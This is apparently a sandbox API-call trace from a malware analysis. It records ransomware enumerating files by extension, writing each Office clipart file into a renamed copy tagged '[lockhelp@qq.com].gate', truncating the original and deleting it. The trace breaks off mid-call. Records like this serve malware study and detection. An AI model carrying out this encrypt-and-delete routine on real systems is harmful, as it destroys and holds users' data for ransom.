[0285.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.890] lstrlenW (lpString=".rar") returned 4 [0285.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.890] lstrlenW (lpString=".bz2") returned 4 [0285.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.890] lstrlenW (lpString=".7z") returned 3 [0285.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.890] lstrlenW (lpString=".dbf") returned 4 [0285.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.890] lstrlenW (lpString=".1cd") returned 4 [0285.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.890] lstrlenW (lpString=".jpg") returned 4 [0285.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.890] lstrlenW (lpString=".doc") returned 4 [0285.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.890] lstrlenW (lpString=".docx") returned 5 [0285.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.890] lstrlenW (lpString=".pdf") returned 4 [0285.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.890] lstrlenW (lpString=".xls") returned 4 [0285.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.890] lstrlenW (lpString=".xlsx") returned 5 [0285.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.890] lstrlenW (lpString=".ppt") returned 4 [0285.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.890] lstrlenW (lpString=".zip") returned 4 [0285.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.891] lstrlenW (lpString=".rar") returned 4 [0285.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.891] lstrlenW (lpString=".bz2") returned 4 [0285.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.891] lstrlenW (lpString=".7z") returned 3 [0285.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.891] lstrlenW (lpString=".dbf") returned 4 [0285.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.891] lstrlenW (lpString=".1cd") returned 4 [0285.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.891] lstrlenW (lpString=".jpg") returned 4 [0285.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.891] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.891] lstrlenW (lpString="BL00247_.WMF") returned 12 [0285.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0285.892] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=14444) returned 1 [0285.892] CloseHandle (hObject=0x4b4) returned 1 [0285.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0285.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0285.892] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.892] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0285.893] GetLastError () returned 0x0 [0285.893] ReadFile (in: hFile=0x4b4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x386c, lpOverlapped=0x0) returned 1 [0286.922] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x3870, lpOverlapped=0x0) returned 1 [0286.923] ReadFile (in: hFile=0x4b4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0286.923] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0286.923] SetEndOfFile (hFile=0x404) returned 1 [0286.924] CloseHandle (hObject=0x404) returned 1 [0286.924] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.924] SetEndOfFile (hFile=0x4b4) returned 1 [0286.927] CloseHandle (hObject=0x4b4) returned 1 [0286.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0286.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0286.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.928] lstrlenW (lpString=".doc") returned 4 [0286.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.928] lstrlenW (lpString=".docx") returned 5 [0286.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.928] lstrlenW (lpString=".pdf") returned 4 [0286.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.928] lstrlenW (lpString=".xls") returned 4 [0286.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.928] lstrlenW (lpString=".xlsx") returned 5 [0286.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.928] lstrlenW (lpString=".ppt") returned 4 [0286.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.929] lstrlenW (lpString=".zip") returned 4 [0286.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.929] lstrlenW (lpString=".rar") returned 4 [0286.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString=".bz2") returned 4 [0286.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString=".7z") returned 3 [0286.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.929] lstrlenW (lpString=".dbf") returned 4 [0286.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.929] lstrlenW (lpString=".1cd") returned 4 [0286.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.929] lstrlenW (lpString=".jpg") returned 4 [0286.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.929] lstrlenW (lpString=".doc") returned 4 [0286.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString=".docx") returned 5 [0286.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.929] lstrlenW (lpString=".pdf") returned 4 [0286.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString=".xls") returned 4 [0286.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.929] lstrlenW (lpString=".xlsx") returned 5 [0286.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.929] lstrlenW (lpString=".ppt") returned 4 [0286.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.930] lstrlenW (lpString=".zip") returned 4 [0286.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.930] lstrlenW (lpString=".rar") returned 4 [0286.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.930] lstrlenW (lpString=".bz2") returned 4 [0286.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.930] lstrlenW (lpString=".7z") returned 3 [0286.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.930] lstrlenW (lpString=".dbf") returned 4 [0286.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.930] lstrlenW (lpString=".1cd") returned 4 [0286.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0286.930] lstrlenW (lpString=".jpg") returned 4 [0286.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.930] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0286.930] lstrlenW (lpString="BL00254_.WMF") returned 12 [0286.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0286.946] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1736) returned 1 [0286.946] CloseHandle (hObject=0x414) returned 1 [0286.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0286.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0286.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0286.947] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.948] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0286.948] GetLastError () returned 0x0 [0286.948] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x6c8, lpOverlapped=0x0) returned 1 [0287.130] WriteFile (in: hFile=0x4a4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x6d0, lpOverlapped=0x0) returned 1 [0287.502] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0287.502] WriteFile (in: hFile=0x4a4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0287.502] SetEndOfFile (hFile=0x4a4) returned 1 [0287.515] CloseHandle (hObject=0x4a4) returned 1 [0287.516] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.516] SetEndOfFile (hFile=0x414) returned 1 [0287.596] CloseHandle (hObject=0x414) returned 1 [0287.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0287.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0287.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.597] lstrlenW (lpString=".doc") returned 4 [0287.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.597] lstrlenW (lpString=".docx") returned 5 [0287.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.597] lstrlenW (lpString=".pdf") returned 4 [0287.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.597] lstrlenW (lpString=".xls") returned 4 [0287.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.597] lstrlenW (lpString=".xlsx") returned 5 [0287.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.597] lstrlenW (lpString=".ppt") returned 4 [0287.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.597] lstrlenW (lpString=".zip") returned 4 [0287.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.597] lstrlenW (lpString=".rar") returned 4 [0287.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.597] lstrlenW (lpString=".bz2") returned 4 [0287.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.598] lstrlenW (lpString=".7z") returned 3 [0287.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.598] lstrlenW (lpString=".dbf") returned 4 [0287.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.598] lstrlenW (lpString=".1cd") returned 4 [0287.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.598] lstrlenW (lpString=".jpg") returned 4 [0287.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.598] lstrlenW (lpString=".doc") returned 4 [0287.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.598] lstrlenW (lpString=".docx") returned 5 [0287.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.598] lstrlenW (lpString=".pdf") returned 4 [0287.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.598] lstrlenW (lpString=".xls") returned 4 [0287.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.598] lstrlenW (lpString=".xlsx") returned 5 [0287.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.598] lstrlenW (lpString=".ppt") returned 4 [0287.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.598] lstrlenW (lpString=".zip") returned 4 [0287.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.598] lstrlenW (lpString=".rar") returned 4 [0287.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.599] lstrlenW (lpString=".bz2") returned 4 [0287.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.599] lstrlenW (lpString=".7z") returned 3 [0287.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.599] lstrlenW (lpString=".dbf") returned 4 [0287.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.599] lstrlenW (lpString=".1cd") returned 4 [0287.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0287.599] lstrlenW (lpString=".jpg") returned 4 [0287.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.599] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0287.599] lstrlenW (lpString="BL00265_.WMF") returned 12 [0287.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0287.600] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5752) returned 1 [0287.600] CloseHandle (hObject=0x414) returned 1 [0287.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0287.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0287.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0287.600] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.601] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0287.601] GetLastError () returned 0x0 [0287.601] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1678, lpOverlapped=0x0) returned 1 [0288.139] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1680, lpOverlapped=0x0) returned 1 [0288.140] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0288.140] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0288.140] SetEndOfFile (hFile=0x4c4) returned 1 [0288.140] CloseHandle (hObject=0x4c4) returned 1 [0288.141] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.142] SetEndOfFile (hFile=0x414) returned 1 [0288.187] CloseHandle (hObject=0x414) returned 1 [0288.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0288.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.188] lstrlenW (lpString=".doc") returned 4 [0288.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.188] lstrlenW (lpString=".docx") returned 5 [0288.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.188] lstrlenW (lpString=".pdf") returned 4 [0288.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.188] lstrlenW (lpString=".xls") returned 4 [0288.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.189] lstrlenW (lpString=".xlsx") returned 5 [0288.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.189] lstrlenW (lpString=".ppt") returned 4 [0288.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.189] lstrlenW (lpString=".zip") returned 4 [0288.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.189] lstrlenW (lpString=".rar") returned 4 [0288.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.189] lstrlenW (lpString=".bz2") returned 4 [0288.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.189] lstrlenW (lpString=".7z") returned 3 [0288.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.189] lstrlenW 